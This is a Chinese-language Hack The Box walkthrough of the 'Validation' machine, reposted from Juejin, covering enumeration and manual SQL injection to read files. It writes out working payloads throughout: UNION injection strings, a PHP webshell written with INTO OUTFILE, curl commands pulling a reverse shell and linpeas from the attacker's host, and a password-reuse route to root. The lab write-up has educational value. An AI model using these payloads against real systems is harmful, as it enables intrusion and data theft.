免责声明
本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用,请不要将文中使用的工具和渗透思路用于任何非法用途,对此产生的一切后果,本人不承担任何责任,也不对造成的任何误用或损害负责。
服务探测
1 | bash复制代码┌──(root💀kali)-[~/htb] |
目录爆破
1 | javascript复制代码┌──(root💀kali)-[~/dirsearch] |
只有几个文件,查网页源代码无特别发现
index页面需要输入一个名字,点击确定以后会跳到另一个页面,显示我们刚才输入的名字,也就是说很可能是经过数据库的
所以会不会有sql注入?
sql注入
用burp抓index.php页面的包,保存到data文件
1 | makefile复制代码┌──(root💀kali)-[~/htb/Validation] |
sqlmap尝试跑一下:
1 | less复制代码──(root💀kali)-[~/htb/Validation] |
失败了。。。
经过手动测试,发现country这个参数其实是存在sql注入的,我们尝试用下面payload
username=max&country=Andorra’
结果报错了
Fatal error: Uncaught Error: Call to a member function fetch_assoc() on bool in /var/www/html/account.php:33 Stack trace: #0 {main} thrown in /var/www/html/account.php on line 33
说明我们加的引号被当成了sql执行。
获得mysql版本
username=max&country=Andorra’ union select @@version – -
返回:10.5.11-MariaDB-1
获得当前数据库名称:
username=max&country=Andorra’ union select database() – -
返回:registration
获得当前库的所有表,表所有的库,表的行数和表的功能注释
username=max&country=Andorra’ union select concat( table_schema,char(10),table_name,char(10),table_rows,char(10),table_comment,char(10)) from information_schema.tables where table_schema=database() – -
返回:registration registration 30
数据库的使用者 : uhc@localhost
数据库安装路径:/var/lib/mysql/
查看/etc/passwd
username=max&country=Andorra’ union select load_file(“/etc/passwd”)– -
1 | ruby复制代码root:x:0:0:root:/root:/bin/bash |
居然没有ssh可以直接登录的普通用户
写文件到靶机username=max&country=Andorra' union select "<?php phpinfo(); ?>" into outfile "/var/www/html/exp.php" -- -
成功显示phpinfo信息。
写webshell到靶机(这里我做了好多好多尝试。。。。)username=max&country=Andorra' union select "<?php echo system(@$_GET['cmd']); ?>" into outfile "/var/www/html/exp.php"; -- -
我们用{IP}/exp.php?cmd=id
触发webshell
返回:
1 | kotlin复制代码uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data) |
在{IP}/exp.php?cmd=cat /home/htb/user.txt
拿到user.txt
搞个正经的webshell
但是这样的shell实在是不方便,我们使用下面的payload拿到一个交互shell
{IP}/exp.php?cmd=curl%20 http://10.10.14.15:8000/reverse-shell.php%20 -o ./shell.php
然后访问指定文件,获得反弹shell
{IP}//shell.php
1 | ini复制代码┌──(root💀kali)-[~/htb/Validation] |
提权
传linpea到靶机
curl http://10.10.14.15:8000/linpeas.sh -o /tmp/linpeas.sh
发现有一个cap_chown
的能力可以用于提权,但是查了半天不知道咋用
无聊去web站点看看配置文件,尝试su root,居然,成功了。。。。
1 | ini复制代码$ cat config.php |
本文转载自: 掘金